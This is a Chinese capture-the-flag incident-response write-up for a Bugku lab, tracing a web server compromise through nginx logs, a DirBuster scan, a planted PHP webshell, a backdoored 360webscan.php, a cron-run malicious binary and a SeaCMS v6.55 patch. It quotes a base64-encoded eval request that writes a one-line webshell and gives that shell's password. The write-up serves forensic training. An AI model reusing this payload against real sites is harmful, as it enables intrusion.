bugku 网络安全事件应急响应

开启靶场:

开始实验:

使用Xshell登录服务器,账号及密码如上图。

1、提交攻击者的IP地址

WP:

找到服务器日志路径,通常是在/var/log/,使用cd /var/log/,ls查看此路径下的文件.

找到nginx文件夹。

进入nginx文件夹,找到access.log文件。

下载access.log到本地电脑,使用Notepad++打开。

发现38.207.130.14这个IP地址对多个页面发送HEAD请求,而且根据404后面的DirBuster-1.0-RC1 可得到是一个目录扫描工具,由此可得出攻击IP为38.207.130.14。提交成功!

2、提交攻击者目录扫描所使用的工具名称

通过第一题,得到扫描工具是DirBuster-1.0-RC1,根据题目提示工具名称要用小写,经过提交测试发现,提交的时候不需要带版本,只提交dirbuster就可以提交成功。

3、提交攻击者首次攻击成功的时间

继续查看access.log,发现了一些a.php上传请求,有可能是上传的木马文件,那"POST /a.php HTTP/1.1" 上面一条"POST /search.php?eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ2EucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/PicpOw==')); HTTP/1.1"就是上传木马操作。

根据日志显示这个POST上传请求是使用base64编码的,那么我们使用Base64编码解码工具进行解码,根据解码内容可知确实是上传木马的操作。那么上传日期就是这个日志的操作时间,

题目要求格式为:DD/MM/YY:HH:MM:SS(例如31/01/2000:01:02:03),对攻击成功日期进行格式转换,转换后03/11/2023:15:03:35提交成功。

4、找到攻击者写入的恶意后门文件

提交文件名(完整路径)

根据前面我们知道a.php是上传的木马,也就是攻击者写入的恶意后门文件,那就可以查找a.php所在的完整路径。

find / -name a.php

得到完整路径为:/var/www/html/a.php,提交成功。

5、找到攻击者写入的恶意后门文件密码

我们知道恶意后门文件是a.php,上一题也知道路径,那么进入a.php文件所在的路径

cd /var/www/html/

ls查看文件,找到a.php文件,使用vi命令查看文件内容

方括号里面的“1”即为密码,提交成功。

6、找到攻击者隐藏在正常web应用代码中的恶意代码

提交该文件名(完整路径)

通过查看/var/www/html/下的文件,找了好长时间,发现/var/www/html/include/webscan/360webscan.php文件的这些代码很奇怪,通过搜索的出是隐蔽的后门木马。

那么/var/www/html/include/webscan/360webscan.php就是恶意代码的完整路径,提交成功。

7、识别系统中存在的恶意程序进程

提交文件名(完整路径)

首先使用“ps -aux”命令查进程,查出来的进程比较多,也不能判断那个是恶意进程。

既然是恶意进程,那就有计划任务,我们再查下计划任务。

cd /var/spool/cron
ls
vi www-data

发现只有一个计划任务,路径是/var/crash/php-fpm,提交成功。

8、识别系统中存在的恶意程序进程2

提交C&C服务器IP地址和端口(格式:1.1.1.1:22)

9、修复网站漏洞

进入网站目录,查看网站主页,index.php。

cd /var/www/html
ls

访问网站,http://47.103.131.47/index.php,网页下拉到底,可知为海洋CMS。

查看海洋CMS的版本

cd /var/www/html/data/admin
ls

找到ver.txt,是存放版本号的文件

vi ver.txt

得到海洋CMS的版本为v6.55

查询海洋CMS v6.55漏洞

漏洞分析:官方给出的修复是在parseIf函数里面加了黑名单。但是没有做SERVER变量的过滤,所以可以用SERVER变量的性质来达到写入命令。

修复方法1

修改/var/www/html/include/main.class.php文件里面的parseIf函数,补充黑名单增加_SERVER,保存后点击check,提交成功。

修复方法2

修改/var/www/html下的search.php文件;

在echoSearchPage()函数中增加一条过滤语句:if(strpos($searchword,'{searchpage:')) exit;

10、 删除恶意程序、文件、代码

删除/var/www/html路径下的a.php

rm a.php

删除/var/crash/路径下的

rm php-fpm

删除/var/www/html/include/webscan/360webscan.php里面的木马内容,记住不要删除整个文件,要不然系统会提示修复失败。

还有删除php-fpm的计划任务

cd /var/spool/cron/crontabs/
ls
vi www-data

删除红圈里的内容,:wq!保存。

删除后

checking完成,提交成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/635011.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LabVIEW超高温高压流变仪测试系统

LabVIEW超高温高压流变仪测试系统 超高温高压流变仪广泛应用于石油、天然气、化工等行业,用于测量材料在极端条件下的流变特性。随着计算机技术、测试技术和电子仪器技术的快速发展,传统的流变仪测试方式已无法满足现代工业的需求。因此,开发…

Java——通过方法交换实参值

想写一个方法来交换main函数中的两个变量值,代码如下: public class Test {public static void swap(int x,int y) {int tmp x;x y;y tmp;}public static void main(String[] args) {int a 10;int b 20;System.out.println("交换前&#xff1…

有没有软件可以监控电脑软件?监控电脑软件的系统

有没有软件可以监控电脑软件?监控电脑软件的系统 电脑软件如果不合规也会给企业带来安全危害,比如盗版软件,比如游戏软件耽误工作等,所以需要对电脑软件的监控。下面我将详细介绍几款代表性的电脑监控软件及其功能,帮…

【JAVA基础之内部类】匿名内部类

🔥作者主页:小林同学的学习笔录 🔥小林同学的专栏:JAVA之基础专栏 目录 1.内部类 1.1 概述 1.1.1 什么是内部类 1.1.2 什么时候使用内部类 1.2 内部类的分类 1.3 成员内部类 1.3.1 获取成员内部类对象的两种方式 1.3.2 经典面试…

深入pandas:导入数据表

目录 前言 第一点:导入模块 第二点:创建excel表 第三点:读取数据表 总结 前言 数据分析和处理过程中,我们经常需要从外部文件中读取数据。本文将介绍如何使用Python中的Pandas库来读取CSV和Excel文件,以及提取纯数…

v-cloak 用于在 Vue 实例渲染完成之前隐藏绑定的元素

如果你是后端开发者&#xff08;php&#xff09;&#xff0c;在接触一些vue2开发的后台时&#xff0c;会发现有这段代码&#xff1a; # CDN <script src"https://cdn.jsdelivr.net/npm/vue2/dist/vue.js"></script> # 或 <script src"https://cd…

Nacos启动报错:[db-load-error]load jdbc.properties error

在学习Nacos中间件时&#xff0c;出现了一个错误&#xff0c;竟然启动报错&#xff01;&#xff01;&#xff01;! 这个错误第一次遇见&#xff0c;当时我感觉大体就是--数据库连接方面的错误。 可是&#xff0c;对于初学者的我来说一脸懵啊&#xff1f;&#xff1f;&#xff…

微信小程序仿胖东来轮播和背景效果(有效果图)

效果图 .wxml <view class"swiper-index" style"--width--:{{windowWidth}}px;"><image src"{{swiperList[(cardCur bgIndex -1?swiperList.length - 1:cardCur bgIndex > swiperList.length -1?0:cardCur bgIndex)]}}" clas…

代码随想录Day 49|Leetcode|Python|● 647. 回文子串 ● 516.最长回文子序列● 动态规划总结篇

647. 回文子串 给你一个字符串 s &#xff0c;请你统计并返回这个字符串中 回文子串 的数目。 回文字符串 是正着读和倒过来读一样的字符串。 子字符串 是字符串中的由连续字符组成的一个序列。 解题思路&#xff1a; 确认dp含义&#xff1a;dp[i][j] s[i:j]是否为回文串…

k8s 1.24.x之后如果rest 访问apiserver

1.由于 在 1.24 &#xff08;还是 1.20 不清楚了&#xff09;之后&#xff0c;下面这两个apiserver的配置已经被弃用 了&#xff0c;简单的说就是想不安全的访问k8s是不可能了&#xff0c;所以只能走安全的访问方式也就是 https://xx:6443了&#xff0c;所以需要证书。 - --ins…

工况数据导入MATLAB及数据复用

01--数据导入 之前在Matlab/Simulink的一些功能用法笔记&#xff08;二&#xff09;中有介绍过数据的导入到MATLAB工作区间 本次主要是想介绍下数据的复用 我们以NEDC工况数据为例&#xff1a; 通过下列3种方法进行导入&#xff1a; 1.通过导入Excel表数据&#xff0c;使用F…

RH850F1KM-S4-100Pin_ R7F7016453AFP MCAL Gpt 配置

1、Gpt组件包含的子配置项 GptDriverConfigurationGptDemEventParameterRefsGptConfigurationOfOptApiServicesGptChannelConfigSet2、GptDriverConfiguration 2.1、GptAlreadyInitDetCheck 该参数启用/禁用Gpt_Init API中的GPT_E_ALREADY_INITIALIZED Det检查。 true:开启Gpt_…

驱动未来:IT行业的现状与发展趋势

前言 随着技术的不断进步&#xff0c;IT行业已成为推动全球经济和社会发展的关键力量。从云计算、大数据、人工智能到物联网、5G通信和区块链&#xff0c;这些技术正在重塑我们的生活和工作方式。本文将探讨IT行业的现状和未来发展趋势&#xff0c;并邀请行业领袖、技术专家和…

大语言模型量化方法对比:GPTQ、GGUF、AWQ 包括显存和速度

GPTQ: Post-Training Quantization for GPT Models GPTQ是一种4位量化的训练后量化(PTQ)方法&#xff0c;主要关注GPU推理和性能。 该方法背后的思想是&#xff0c;尝试通过最小化该权重的均方误差将所有权重压缩到4位。在推理过程中&#xff0c;它将动态地将其权重去量化为f…

centos7安装jdk的几种方式

一、使用Yum安装 安装OpenJDK的可以选择此方法&#xff0c;方便快捷 1. 查看是否有JDK环境 使用java命令查看 java -version 可以看到系统自带的OpenJDK版本信息&#xff0c;如果满足你现在需要配置的JDK环境&#xff0c;下面的教程可以不用看了。 ps&#xff1a;我这是虚拟机…

前端传参的三种方式

1、params 传参 参数拼接在地址 url 的后面给后台&#xff1b;地址栏中可见 案例1 地址栏&#xff1a;https://xxxxxxxx/admin/clues/detail?id558 接口代码&#xff1a; export function getClueDetail(query: any) {return request<clueItem>({url: /clues/detai…

Web Speech API(1)—— SpeechRecognition

Web Speech API 使你能够将语音数据合并到 Web 应用程序中。Web Speech API 有两个部分&#xff1a;SpeechSynthesis 语音合成&#xff08;文本到语音 TTS&#xff09;和 SpeechRecognition 语音识别&#xff08;异步语音识别&#xff09;。 SpeechRecognition 语音识别通过 S…

C语言指针相关知识(第四篇章)(非常详细版)

文章目录 前言一、什么是回调函数二、qsort函数的介绍(默认升序排序)三、qsort函数的模拟实现&#xff08;通过冒泡排序&#xff09;总结 前言 本文介绍了回调函数&#xff0c;qsort函数的使用&#xff0c;以用冒泡排序来模拟实现qsort函数 提示&#xff1a;以下是本篇文章正文…

ASP+ACCESS基于B2C电子商务网站设计

摘 要 运用ASP技术结合了Access数据库原理&#xff0c;基于B/S模式我们开发了一个网上购物系统。在我们的系统中&#xff0c;顾客可以很方便的注册成为会员&#xff0c;对商品进行浏览检索&#xff0c;查看商品的详细资料&#xff0c;然后根据各人的喜好购买心仪的商品。系统…

Day21:Leetcode513.找树左下角的值 +112. 路径总和 113.路径总和ii + 106.从中序与后序遍历序列构造二叉树

LeetCode&#xff1a;513.找树左下角的值 解决方案&#xff1a; 1.思路 在遍历一个节点时&#xff0c;需要先把它的非空右子节点放入队列&#xff0c;然后再把它的非空左子节点放入队列&#xff0c;这样才能保证从右到左遍历每一层的节点。广度优先搜索所遍历的最后一个节点…